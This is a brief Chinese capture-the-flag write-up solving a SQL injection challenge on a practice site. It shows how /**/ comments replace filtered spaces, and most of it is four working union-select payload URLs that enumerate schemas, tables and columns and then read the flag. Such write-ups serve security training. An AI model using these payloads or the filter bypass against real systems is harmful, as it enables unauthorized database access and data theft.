CFT每日一題之簡單的SQL注入之二
阿新 • • 發佈:2018-11-08
首先,輸入1 嘗試一下
然後爆出ID 加 個 單引號 嘗試 ,出現報錯介面
然後 大概猜測程式碼是 select xx from XX where id=''
用and測試
發現了有過濾,經過多測實驗後,發現去掉空格就可以
然後開始構造,我們可以使用/**/來代替空格
http://ctf5.shiyanbar.com/web/index_2.php?id=-1%27/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/%271%27=%271
然後就可以一層一層往下查了
http://ctf5.shiyanbar.com/web/index_2.php?id=-1%27/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/%271%27=%271
然後查詢列,獲得flag列
http://ctf5.shiyanbar.com/web/index_2.php?id=-1%27/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/%271%27=%271
最後查詢flag列的資料
http://ctf5.shiyanbar.com/web/index_2.php?id=-11%27/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/%271%27=%271